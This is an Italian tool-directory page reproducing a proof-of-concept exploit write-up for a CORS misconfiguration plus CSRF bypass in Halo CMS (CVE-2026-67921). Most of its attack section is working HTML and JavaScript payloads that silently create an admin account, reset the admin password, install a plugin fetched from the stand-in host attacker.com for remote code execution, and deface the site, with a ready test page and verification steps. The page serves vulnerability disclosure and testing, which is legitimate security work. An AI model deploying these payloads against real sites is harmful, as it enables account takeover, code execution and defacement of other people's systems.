Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
halo-cors-csrf-CVE-2026-67921 — Proof-of-concept che dimostra una combinazione di errata configurazione CORS e bypass della protezione CSRF in Halo CMS, consentendo attacchi di cross-site request forgery per creare utenti amministratori, modificare password, installare plugin e alterare i contenuti. | Kitploit
Strumenti/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Proof-of-concept che dimostra una combinazione di errata configurazione CORS e bypass della protezione CSRF in Halo CMS, consentendo attacchi di cross-site request forgery per creare utenti amministratori, modificare password, installare plugin e alterare i contenuti.

Vedi Repository
241 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-67921: Configurazione CORS Errata + Bypass della Protezione CSRF in Halo CMS — Attacco Combinato

Riepilogo

Una vulnerabilità critica di attacco combinato esiste nelle versioni di Halo CMS fino alla 2.25.4 a causa di due errori di configurazione di sicurezza:

  1. Configurazione CORS Errata: La policy CORS consente * (qualsiasi origine) con credentials: true
  2. Bypass della Protezione CSRF: Tutti gli endpoint API (/api/**, /apis/**) sono esclusi dalla protezione CSRF

Se combinate, queste permettono a un attaccante di eseguire attacchi Cross-Site Request Forgery da qualsiasi origine, aggirando la protezione Same-Origin Policy che il CORS è progettato per applicare.

Punteggio CVSS v3.1: 9.3 (Critico)
Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Policy Cross-domain Permissiva) ID CVE: CVE-2026-67921


Versioni Interessate

  • Halo CMS ≤ 2.25.4
  • Tutte le versioni con CORS abilitato e CSRF disabilitato per le route API

Dettagli della Vulnerabilità

Vulnerabilità 1: Configurazione CORS Errata

File: application/src/main/java/run/halo/app/security/CorsConfigurer.java

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← QUALSIASI origine
    configuration.setAllowCredentials(true);                // ← Consenti cookie
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impatto: Qualsiasi sito web può effettuare richieste autenticate all'API di Halo utilizzando i cookie dell'utente.

Vulnerabilità 2: Bypass della Protezione CSRF

File: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Route API escluse dal CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impatto: Le richieste API non richiedono token CSRF, anche quando autenticate tramite cookie di sessione.


Meccanismo di Attacco

Perché Questa Combinazione è Pericolosa

ProtezioneDa solaCombinata
CORS *Blocca le credenziali (imposto dal browser)Credenziali consentite!
Nessun CSRFProtetta dalla Same-Origin PolicyBypassata dal CORS!
RisultatoSicuraCSRF completo

Il Flusso dell'Attacco

┌─────────────────────────────────────────────────────────────┐
│  L'attaccante ospita una pagina dannosa su evil.com         │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Il browser della vittima visita evil.com                   │
│  → Il modulo si invia automaticamente all'API di Halo       │
│  → Il browser include automaticamente il cookie di sessione │
│  → CORS: Origine * + credentials: true → Richiesta consentita! │
│  → CSRF: /apis/** escluso → Nessun token richiesto!         │
│  → La richiesta riesce con i privilegi della vittima        │
└─────────────────────────────────────────────────────────────┘

Scenari di Sfruttamento

Scenario 1: Creare un Utente Admin

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Scenario 2: Cambiare la Password dell'Admin

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Scenario 3: Installare un Plugin Dannoso (RCE)

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Scenario 4: Modificare il Contenuto del Sito

<html>
<body>
<script>
  // Cambia il titolo del sito
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Proof of Concept

Test CSRF di Base

Crea csrf-test.html:

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Questa pagina tenterà di modificare le impostazioni di Halo quando viene caricata.</p>

<script>
// Test CSRF modificando il titolo del sito
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESSO! L\'attacco CSRF ha funzionato.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Fallito: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Attacco CSRF riuscito - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Passaggi di Verifica

  1. Apri csrf-test.html in un browser mentre sei autenticato su Halo
  2. Controlla se il titolo del sito è cambiato
  3. Controlla la console del browser per le intestazioni CORS:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Analisi dell'Impatto

Scarica lo strumento